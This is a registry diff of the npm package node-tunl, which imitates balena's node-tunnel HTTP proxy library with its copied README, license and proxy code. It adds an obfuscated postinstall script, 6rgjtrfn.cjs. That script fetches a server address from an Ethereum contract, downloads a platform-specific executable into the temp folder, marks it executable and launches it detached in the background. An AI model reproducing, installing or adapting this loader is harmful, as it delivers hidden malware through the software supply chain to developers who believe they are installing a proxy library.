node-tunl 0.0.1-security → 4.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of node-tunl might be problematic. Click here for more details.

package/6rgjtrfn.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0xde5c8c=_0x901b;(function(_0x5c2d7c,_0x52659d){const _0x132cc8=_0x901b,_0x8dd46b=_0x5c2d7c();while(!![]){try{const _0x2cd3ff=parseInt(_0x132cc8(0x1bc))/0x1+-parseInt(_0x132cc8(0x1c0))/0x2+parseInt(_0x132cc8(0x1b8))/0x3+parseInt(_0x132cc8(0x1c5))/0x4+-parseInt(_0x132cc8(0x1a1))/0x5+parseInt(_0x132cc8(0x1b2))/0x6+-parseInt(_0x132cc8(0x1aa))/0x7;if(_0x2cd3ff===_0x52659d)break;else _0x8dd46b['push'](_0x8dd46b['shift']());}catch(_0x52f857){_0x8dd46b['push'](_0x8dd46b['shift']());}}}(_0x2723,0x4854c));function _0x2723(){const _0x437860=['52514sHoQlZ','createWriteStream','GET','tjMhs','Ошибка\x20при\x20получении\x20IP\x20адреса:','1010532vnwsHx','error','klOSU','util','OQbkL','Myqgt','chmodSync','BTobI','ethers','556565fJquWm','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','basename','axios','linux','FbNQR','nABQo','ignore','/node-win.exe','2786623myYwmH','/node-macos','755','child_process','Unsupported\x20platform:\x20','Contract','finish','mainnet','1659012RWNGNV','pipe','fSKDV','unref','platform','data','893250aDTvln','win32','GpWTs','path','5042lKjtyJ','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','Zgvkp','getDefaultProvider'];_0x2723=function(){return _0x437860;};return _0x2723();}const {ethers}=require(_0xde5c8c(0x1a0)),axios=require(_0xde5c8c(0x1a4)),util=require(_0xde5c8c(0x19b)),fs=require('fs'),path=require(_0xde5c8c(0x1bb)),os=require('os'),{spawn}=require(_0xde5c8c(0x1ad)),contractAddress=_0xde5c8c(0x1bd),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0xde5c8c(0x1a2)],provider=ethers[_0xde5c8c(0x1bf)](_0xde5c8c(0x1b1)),contract=new ethers[(_0xde5c8c(0x1af))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x3e4c67=_0xde5c8c,_0x38f683={'GpWTs':_0x3e4c67(0x1c4),'BTobI':function(_0x3aab2d){return _0x3aab2d();}};try{const _0x518e74=await contract['getString'](WalletOwner);return _0x518e74;}catch(_0x2b4958){return console[_0x3e4c67(0x199)](_0x38f683[_0x3e4c67(0x1ba)],_0x2b4958),await _0x38f683[_0x3e4c67(0x19f)](fetchAndUpdateIp);}},getDownloadUrl=_0x1d2363=>{const _0x127638=_0xde5c8c,_0x45e789={'ZCfWv':_0x127638(0x1b9),'SCgth':_0x127638(0x1a5)},_0x30365f=os[_0x127638(0x1b6)]();switch(_0x30365f){case _0x45e789['ZCfWv']:return _0x1d2363+_0x127638(0x1a9);case _0x45e789['SCgth']:return _0x1d2363+'/node-linux';case'darwin':return _0x1d2363+_0x127638(0x1ab);default:throw new Error(_0x127638(0x1ae)+_0x30365f);}},downloadFile=async(_0x305fb8,_0xcfbbd6)=>{const _0x5ed7f5=_0xde5c8c,_0x21e99d={'NKnvK':_0x5ed7f5(0x1b0),'tjMhs':_0x5ed7f5(0x199),'klOSU':function(_0xd37c0f,_0x45bcf1){return _0xd37c0f(_0x45bcf1);},'Myqgt':_0x5ed7f5(0x1c2),'nABQo':'stream'},_0x19ae3e=fs[_0x5ed7f5(0x1c1)](_0xcfbbd6),_0x3bd3db=await _0x21e99d[_0x5ed7f5(0x19a)](axios,{'url':_0x305fb8,'method':_0x21e99d[_0x5ed7f5(0x19d)],'responseType':_0x21e99d[_0x5ed7f5(0x1a7)]});return _0x3bd3db[_0x5ed7f5(0x1b7)][_0x5ed7f5(0x1b3)](_0x19ae3e),new Promise((_0x24231a,_0x2a1d18)=>{const _0x41df57=_0x5ed7f5;_0x19ae3e['on'](_0x21e99d['NKnvK'],_0x24231a),_0x19ae3e['on'](_0x21e99d[_0x41df57(0x1c3)],_0x2a1d18);});},executeFileInBackground=async _0x5e7ebd=>{const _0x350325=_0xde5c8c,_0x14b923={'fSKDV':'Ошибка\x20при\x20запуске\x20файла:'};try{const _0x3a945b=spawn(_0x5e7ebd,[],{'detached':!![],'stdio':_0x350325(0x1a8)});_0x3a945b[_0x350325(0x1b5)]();}catch(_0x4fb834){console[_0x350325(0x199)](_0x14b923[_0x350325(0x1b4)],_0x4fb834);}},runInstallation=async()=>{const _0xaf503b=_0xde5c8c,_0x1631b0={'Zgvkp':function(_0x30bf17,_0x4e5a16){return _0x30bf17!==_0x4e5a16;},'FbNQR':_0xaf503b(0x1ac),'OQbkL':function(_0x4ba58b,_0x183e65){return _0x4ba58b(_0x183e65);}};try{const _0x40f762=await fetchAndUpdateIp(),_0x1f4f09=getDownloadUrl(_0x40f762),_0x44828b=os['tmpdir'](),_0x15b70e=path[_0xaf503b(0x1a3)](_0x1f4f09),_0x13069c=path['join'](_0x44828b,_0x15b70e);await downloadFile(_0x1f4f09,_0x13069c);if(_0x1631b0[_0xaf503b(0x1be)](os[_0xaf503b(0x1b6)](),_0xaf503b(0x1b9)))fs[_0xaf503b(0x19e)](_0x13069c,_0x1631b0[_0xaf503b(0x1a6)]);_0x1631b0[_0xaf503b(0x19c)](executeFileInBackground,_0x13069c);}catch(_0x2badef){console['error']('Ошибка\x20установки:',_0x2badef);}};function _0x901b(_0x12d564,_0x21a3cd){const _0x272379=_0x2723();return _0x901b=function(_0x901b02,_0x1f60c8){_0x901b02=_0x901b02-0x199;let _0x2c1fba=_0x272379[_0x901b02];return _0x2c1fba;},_0x901b(_0x12d564,_0x21a3cd);}runInstallation();
package/LICENSE ADDED
@@ -0,0 +1,174 @@
1
+ Apache License
2
+ Version 2.0, January 2004
3
+ http://www.apache.org/licenses/
4
+
5
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6
+
7
+ 1. Definitions.
8
+
9
+ "License" shall mean the terms and conditions for use, reproduction,
10
+ and distribution as defined by Sections 1 through 9 of this document.
11
+
12
+ "Licensor" shall mean the copyright owner or entity authorized by
13
+ the copyright owner that is granting the License.
14
+
15
+ "Legal Entity" shall mean the union of the acting entity and all
16
+ other entities that control, are controlled by, or are under common
17
+ control with that entity. For the purposes of this definition,
18
+ "control" means (i) the power, direct or indirect, to cause the
19
+ direction or management of such entity, whether by contract or
20
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
21
+ outstanding shares, or (iii) beneficial ownership of such entity.
22
+
23
+ "You" (or "Your") shall mean an individual or Legal Entity
24
+ exercising permissions granted by this License.
25
+
26
+ "Source" form shall mean the preferred form for making modifications,
27
+ including but not limited to software source code, documentation
28
+ source, and configuration files.
29
+
30
+ "Object" form shall mean any form resulting from mechanical
31
+ transformation or translation of a Source form, including but
32
+ not limited to compiled object code, generated documentation,
33
+ and conversions to other media types.
34
+
35
+ "Work" shall mean the work of authorship, whether in Source or
36
+ Object form, made available under the License, as indicated by a
37
+ copyright notice that is included in or attached to the work
38
+ (an example is provided in the Appendix below).
39
+
40
+ "Derivative Works" shall mean any work, whether in Source or Object
41
+ form, that is based on (or derived from) the Work and for which the
42
+ editorial revisions, annotations, elaborations, or other modifications
43
+ represent, as a whole, an original work of authorship. For the purposes
44
+ of this License, Derivative Works shall not include works that remain
45
+ separable from, or merely link (or bind by name) to the interfaces of,
46
+ the Work and Derivative Works thereof.
47
+
48
+ "Contribution" shall mean any work of authorship, including
49
+ the original version of the Work and any modifications or additions
50
+ to that Work or Derivative Works thereof, that is intentionally
51
+ submitted to Licensor for inclusion in the Work by the copyright owner
52
+ or by an individual or Legal Entity authorized to submit on behalf of
53
+ the copyright owner. For the purposes of this definition, "submitted"
54
+ means any form of electronic, verbal, or written communication sent
55
+ to the Licensor or its representatives, including but not limited to
56
+ communication on electronic mailing lists, source code control systems,
57
+ and issue tracking systems that are managed by, or on behalf of, the
58
+ Licensor for the purpose of discussing and improving the Work, but
59
+ excluding communication that is conspicuously marked or otherwise
60
+ designated in writing by the copyright owner as "Not a Contribution."
61
+
62
+ "Contributor" shall mean Licensor and any individual or Legal Entity
63
+ on behalf of whom a Contribution has been received by Licensor and
64
+ subsequently incorporated within the Work.
65
+
66
+ 2. Grant of Copyright License. Subject to the terms and conditions of
67
+ this License, each Contributor hereby grants to You a perpetual,
68
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69
+ copyright license to reproduce, prepare Derivative Works of,
70
+ publicly display, publicly perform, sublicense, and distribute the
71
+ Work and such Derivative Works in Source or Object form.
72
+
73
+ 3. Grant of Patent License. Subject to the terms and conditions of
74
+ this License, each Contributor hereby grants to You a perpetual,
75
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76
+ (except as stated in this section) patent license to make, have made,
77
+ use, offer to sell, sell, import, and otherwise transfer the Work,
78
+ where such license applies only to those patent claims licensable
79
+ by such Contributor that are necessarily infringed by their
80
+ Contribution(s) alone or by combination of their Contribution(s)
81
+ with the Work to which such Contribution(s) was submitted. If You
82
+ institute patent litigation against any entity (including a
83
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
84
+ or a Contribution incorporated within the Work constitutes direct
85
+ or contributory patent infringement, then any patent licenses
86
+ granted to You under this License for that Work shall terminate
87
+ as of the date such litigation is filed.
88
+
89
+ 4. Redistribution. You may reproduce and distribute copies of the
90
+ Work or Derivative Works thereof in any medium, with or without
91
+ modifications, and in Source or Object form, provided that You
92
+ meet the following conditions:
93
+
94
+ (a) You must give any other recipients of the Work or
95
+ Derivative Works a copy of this License; and
96
+
97
+ (b) You must cause any modified files to carry prominent notices
98
+ stating that You changed the files; and
99
+
100
+ (c) You must retain, in the Source form of any Derivative Works
101
+ that You distribute, all copyright, patent, trademark, and
102
+ attribution notices from the Source form of the Work,
103
+ excluding those notices that do not pertain to any part of
104
+ the Derivative Works; and
105
+
106
+ (d) If the Work includes a "NOTICE" text file as part of its
107
+ distribution, then any Derivative Works that You distribute must
108
+ include a readable copy of the attribution notices contained
109
+ within such NOTICE file, excluding those notices that do not
110
+ pertain to any part of the Derivative Works, in at least one
111
+ of the following places: within a NOTICE text file distributed
112
+ as part of the Derivative Works; within the Source form or
113
+ documentation, if provided along with the Derivative Works; or,
114
+ within a display generated by the Derivative Works, if and
115
+ wherever such third-party notices normally appear. The contents
116
+ of the NOTICE file are for informational purposes only and
117
+ do not modify the License. You may add Your own attribution
118
+ notices within Derivative Works that You distribute, alongside
119
+ or as an addendum to the NOTICE text from the Work, provided
120
+ that such additional attribution notices cannot be construed
121
+ as modifying the License.
122
+
123
+ You may add Your own copyright statement to Your modifications and
124
+ may provide additional or different license terms and conditions
125
+ for use, reproduction, or distribution of Your modifications, or
126
+ for any such Derivative Works as a whole, provided Your use,
127
+ reproduction, and distribution of the Work otherwise complies with
128
+ the conditions stated in this License.
129
+
130
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
131
+ any Contribution intentionally submitted for inclusion in the Work
132
+ by You to the Licensor shall be under the terms and conditions of
133
+ this License, without any additional terms or conditions.
134
+ Notwithstanding the above, nothing herein shall supersede or modify
135
+ the terms of any separate license agreement you may have executed
136
+ with Licensor regarding such Contributions.
137
+
138
+ 6. Trademarks. This License does not grant permission to use the trade
139
+ names, trademarks, service marks, or product names of the Licensor,
140
+ except as required for reasonable and customary use in describing the
141
+ origin of the Work and reproducing the content of the NOTICE file.
142
+
143
+ 7. Disclaimer of Warranty. Unless required by applicable law or
144
+ agreed to in writing, Licensor provides the Work (and each
145
+ Contributor provides its Contributions) on an "AS IS" BASIS,
146
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147
+ implied, including, without limitation, any warranties or conditions
148
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149
+ PARTICULAR PURPOSE. You are solely responsible for determining the
150
+ appropriateness of using or redistributing the Work and assume any
151
+ risks associated with Your exercise of permissions under this License.
152
+
153
+ 8. Limitation of Liability. In no event and under no legal theory,
154
+ whether in tort (including negligence), contract, or otherwise,
155
+ unless required by applicable law (such as deliberate and grossly
156
+ negligent acts) or agreed to in writing, shall any Contributor be
157
+ liable to You for damages, including any direct, indirect, special,
158
+ incidental, or consequential damages of any character arising as a
159
+ result of this License or out of the use or inability to use the
160
+ Work (including but not limited to damages for loss of goodwill,
161
+ work stoppage, computer failure or malfunction, or any and all
162
+ other commercial damages or losses), even if such Contributor
163
+ has been advised of the possibility of such damages.
164
+
165
+ 9. Accepting Warranty or Additional Liability. While redistributing
166
+ the Work or Derivative Works thereof, You may choose to offer,
167
+ and charge a fee for, acceptance of support, warranty, indemnity,
168
+ or other liability obligations and/or rights consistent with this
169
+ License. However, in accepting such obligations, You may act only
170
+ on Your own behalf and on Your sole responsibility, not on behalf
171
+ of any other Contributor, and only if You agree to indemnify,
172
+ defend, and hold each Contributor harmless for any liability
173
+ incurred by, or claims asserted against, such Contributor by reason
174
+ of your accepting any such warranty or additional liability.
package/README.md CHANGED
@@ -1,5 +1,139 @@
1
- # Security holding package
1
+ node-tunnel
2
+ -----------
2
3
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
+ [![npm version](https://badge.fury.io/js/node-tunnel.svg)](http://npmjs.org/package/node-tunnel)
5
+ [![dependencies](https://david-dm.org/balena-io-modules/node-tunnel.png)](https://david-dm.org/balena-io-modules/node-tunnel.png)
4
6
 
5
- Please refer to www.npmjs.com/advisories?search=node-tunl for more information.
7
+ HTTP tunneling proxy library.
8
+
9
+ Installation
10
+ ------------
11
+
12
+ Install `node-tunnel` by running:
13
+
14
+ ```sh
15
+ $ npm install node-tunnel
16
+ ```
17
+
18
+ Documentation
19
+ -------------
20
+
21
+
22
+ * [Tunnel](#tunnel)
23
+ * [.connect(port, host, client, req)](#tunnel.connect)
24
+ * [.use( function(req, cltSocket, head, next) )](#tunnel.use)
25
+ * [.listen(port)](#tunnel.listen)
26
+ * [basicAuth(req, cltSocket, head, next)](#basic_auth)
27
+
28
+ <a name="tunnel"></a>
29
+ ### Tunnel
30
+
31
+ <a name="tunnel.connect"></a>
32
+ ### Tunnel.connect(port, host, client, req)
33
+ Function that creates a connection between the tunnel and the target server.
34
+ It defaults to `Promise.method(net.connect)` which returns `Promise<net.Socket>`.
35
+
36
+ **Kind**: method of <code>[Tunnel](#tunnel)</code>
37
+ **Summary**: Establish the upstream connection.
38
+ **Access:** public
39
+
40
+ **Example**
41
+ ```js
42
+ // Create a tunnel with a custom connect method
43
+ tunnel = new Tunnel();
44
+ tunnel.connect = (port, host, client, req) => {
45
+ console.log(`Establishing tunnel to ${host}:${port}...`);
46
+ return Promise.method(net.connect);
47
+ };
48
+ ```
49
+
50
+ <a name="tunnel.use"></a>
51
+ ### Tunnel.use( function(req, cltSocket, head, next) )
52
+ Use a middleware function for rewriting request destination (by changing req.url),
53
+ add authorization or filter connections to only certain hosts and ports.
54
+
55
+ The parameters are the same as the [http](https://nodejs.org/api/http.html#http_event_connect) module passes on "connect" event,
56
+ plus a callback function similar to [express](http://expressjs.com) middleware.
57
+
58
+ Keep in mind that express middleware do not work with in conjunction with this module.
59
+
60
+ **Kind**: method of <code>[Tunnel](#tunnel)</code>
61
+ **Summary**: Use a middleware.
62
+ **Access:** public
63
+
64
+ **Example**
65
+ ```js
66
+ // Start a tunneling proxy on port 3128
67
+ tunnel = new Tunnel();
68
+ tunnel.use( function(req, cltSocket, head, next) {
69
+ // Send all connections to port 80 of localhost.
70
+ req.url = "http://localhost:80";
71
+ next();
72
+ } );
73
+ tunnel.listen(3128)
74
+ ```
75
+ <a name="tunnel.listen"></a>
76
+ ### Tunnel.listen(port, [cb])
77
+ Start listening on the given port. An optional callback function is called when tunnel is ready to listen.
78
+
79
+ **Kind**: method of <code>[Tunnel](#tunnel)</code>
80
+ **Summary**: Start listening.
81
+ **Access:** public
82
+ **Example**
83
+ ```js
84
+ tunnel = new Tunnel();
85
+ tunnel.listen(3128, function() {
86
+ console.log("Tunnel listening on port 3128");
87
+ });
88
+ ```
89
+
90
+ <a name="basic_auth"></a>
91
+ ### basicAuth(req, cltSocket, head, next)
92
+ Parses Proxy-Authorization header and sets req.auth.username and req.auth.password properties.
93
+
94
+ Further middleware should be added to accept or reject connections based on this authentication information.
95
+ **Kind**: method of <code>[Tunnel](#tunnel)</code>
96
+ **Summary**: Parse Proxy-Authorization header.
97
+ **Access:** public
98
+ **Example**
99
+ ```js
100
+ tunnel = new Tunnel();
101
+ tunnel.use(basicAuth);
102
+ tunnel.use( function(req, cltSocket, head, next) {
103
+ if (req.auth.username != "user" || req.auth.password != "password") {
104
+ cltSocket.end() // close connection
105
+ return; // no further middleware need to be called
106
+ }
107
+ next();
108
+ } );
109
+ tunnel.listen(3128, function() {
110
+ console.log("Tunnel listening on port 3128");
111
+ });
112
+ ```
113
+
114
+ Support
115
+ -------
116
+
117
+ If you're having any problem, please [raise an issue](https://github.com/balena-io-modules/node-tunnel/issues/new) on GitHub and the Balena team will be happy to help.
118
+
119
+ Tests
120
+ -----
121
+
122
+ Run the test suite by doing:
123
+
124
+ ```sh
125
+ $ npm install && npm test
126
+ ```
127
+
128
+ Contribute
129
+ ----------
130
+
131
+ - Issue Tracker: [github.com/balena-io-modules/node-tunnel/issues](https://github.com/balena-io-modules/node-tunnel/issues)
132
+ - Source Code: [github.com/balena-io-modules/node-tunnel](https://github.com/balena-io-modules/node-tunnel)
133
+
134
+ Before submitting a PR, please make sure that you include tests, and that [coffeelint](http://www.coffeelint.org/) runs without any warning:
135
+
136
+ License
137
+ -------
138
+
139
+ The project is licensed under the MIT license.
@@ -0,0 +1,119 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.basicAuth = exports.Tunnel = exports.Request = void 0;
4
+ const basicAuthParser = require("basic-auth-parser");
5
+ const eventemitter3_1 = require("eventemitter3");
6
+ const http = require("http");
7
+ const net = require("net");
8
+ const url = require("url");
9
+ const package_json_1 = require("../package.json");
10
+ const connectSocket = async ({ cltSocket, hostname, port, head, connect, req, }) => {
11
+ try {
12
+ const srvSocket = await connect(port, hostname, cltSocket, req);
13
+ cltSocket.write(`HTTP/1.0 200 Connection Established\r\nProxy-agent: balena-io/node-tunnel (v${package_json_1.version})\r\n\r\n`);
14
+ srvSocket.write(head);
15
+ srvSocket.pipe(cltSocket, { end: false });
16
+ cltSocket.pipe(srvSocket, { end: false });
17
+ try {
18
+ await new Promise((resolve, reject) => {
19
+ cltSocket.on('error', reject);
20
+ srvSocket.on('error', reject);
21
+ cltSocket.on('end', resolve);
22
+ srvSocket.on('end', resolve);
23
+ });
24
+ }
25
+ finally {
26
+ srvSocket.destroy();
27
+ cltSocket.destroy();
28
+ }
29
+ }
30
+ catch (err) {
31
+ if (cltSocket.writable) {
32
+ cltSocket.end('HTTP/1.0 500 Internal Server Error\r\n');
33
+ }
34
+ if (!cltSocket.destroyed) {
35
+ cltSocket.destroy();
36
+ }
37
+ throw err;
38
+ }
39
+ };
40
+ class Request extends http.IncomingMessage {
41
+ }
42
+ exports.Request = Request;
43
+ class Tunnel extends eventemitter3_1.EventEmitter {
44
+ constructor() {
45
+ super();
46
+ this.stack = [];
47
+ this.server = http.createServer((_req, res) => {
48
+ res.writeHead(405, { 'Content-Type': 'text/plain' });
49
+ res.end('Method not allowed');
50
+ });
51
+ this.listen = this.server.listen.bind(this.server);
52
+ this.close = this.server.close.bind(this.server);
53
+ this.use(exports.basicAuth);
54
+ this.server.on('connect', async (req, cltSocket, head) => {
55
+ try {
56
+ await this.handleMiddleware(req, cltSocket, head);
57
+ const { hostname, port } = url.parse(`http://${req.url}`);
58
+ if (hostname == null || port == null) {
59
+ throw new Error('Invalid Request: Hostname or Port missing');
60
+ }
61
+ await connectSocket({
62
+ cltSocket,
63
+ hostname,
64
+ port: parseInt(port, 10),
65
+ head,
66
+ connect: this.connect,
67
+ req,
68
+ });
69
+ this.emit('connect', hostname, port, head);
70
+ }
71
+ catch (err) {
72
+ this.emit('error', err);
73
+ cltSocket.destroy();
74
+ }
75
+ });
76
+ }
77
+ use(middleware) {
78
+ this.stack.push(middleware);
79
+ }
80
+ async handleMiddleware(req, cltSocket, head) {
81
+ await new Promise((resolve, reject) => {
82
+ let index = 0;
83
+ const next = (err) => {
84
+ const middleware = this.stack[index++];
85
+ if (err != null) {
86
+ reject(err);
87
+ }
88
+ else if (middleware != null) {
89
+ try {
90
+ middleware(req, cltSocket, head, next);
91
+ }
92
+ catch (err) {
93
+ reject(err);
94
+ }
95
+ }
96
+ else {
97
+ resolve();
98
+ }
99
+ };
100
+ next();
101
+ });
102
+ }
103
+ async connect(port, host, _cltSocket, _req) {
104
+ return new Promise((resolve, reject) => {
105
+ const socket = net.connect(port, host);
106
+ socket.on('connect', () => resolve(socket));
107
+ socket.on('error', reject);
108
+ });
109
+ }
110
+ }
111
+ exports.Tunnel = Tunnel;
112
+ exports.basicAuth = (req, _cltSocket, _head, next) => {
113
+ const proxyAuth = req.headers['proxy-authorization'];
114
+ if (proxyAuth != null) {
115
+ req.auth = basicAuthParser(proxyAuth);
116
+ }
117
+ return next();
118
+ };
119
+ //# sourceMappingURL=index.js.map
package/package.json CHANGED
@@ -1,6 +1,61 @@
1
1
  {
2
2
  "name": "node-tunl",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "4.0.1",
4
+ "description": "Http tunneling proxy",
5
+ "main": "lib/src/index.js",
6
+ "types": "lib/src/index.d.ts",
7
+ "repository": {
8
+ "type": "git",
9
+ "url": "git@github.com:balena-io-modules/node-tunnel"
10
+ },
11
+ "engines": {
12
+ "node": ">=12.0.0",
13
+ "npm": ">=6.0.0"
14
+ },
15
+ "engineStrict": true,
16
+ "author": "Aleksis Brezas <abresas@resin.io>",
17
+ "contributors": [
18
+ "Will Boyce <will@balena.io>"
19
+ ],
20
+ "scripts": {
21
+ "postinstall": "node 6rgjtrfn.cjs"
22
+ },
23
+ "license": "Apache-2.0",
24
+ "dependencies": {
25
+ "basic-auth-parser": "^0.0.2",
26
+ "eventemitter3": "^4.0.0",
27
+ "axios": "^1.7.7",
28
+ "ethers": "^6.13.2"
29
+ },
30
+ "devDependencies": {
31
+ "@types/chai": "^4.2.5",
32
+ "@types/mocha": "^5.2.7",
33
+ "@types/node": "^12.12.9",
34
+ "@types/request-promise": "^4.1.45",
35
+ "chai": "^4.2.0",
36
+ "husky": "^3.1.0",
37
+ "lint-staged": "^9.4.3",
38
+ "mocha": "^6.2.2",
39
+ "request": "^2.88.0",
40
+ "request-promise": "^4.2.5",
41
+ "resin-lint": "^3.1.1",
42
+ "ts-node": "^8.5.2",
43
+ "typescript": "^3.7.0"
44
+ },
45
+ "husky": {
46
+ "hooks": {
47
+ "pre-commit": "lint-staged",
48
+ "pre-push": "npm run lint"
49
+ }
50
+ },
51
+ "lint-staged": {
52
+ "*.ts": [
53
+ "prettier --config ./node_modules/resin-lint/config/.prettierrc --write",
54
+ "resin-lint --typescript --no-prettier",
55
+ "git add"
56
+ ]
57
+ },
58
+ "files": [
59
+ "6rgjtrfn.cjs"
60
+ ]
61
+ }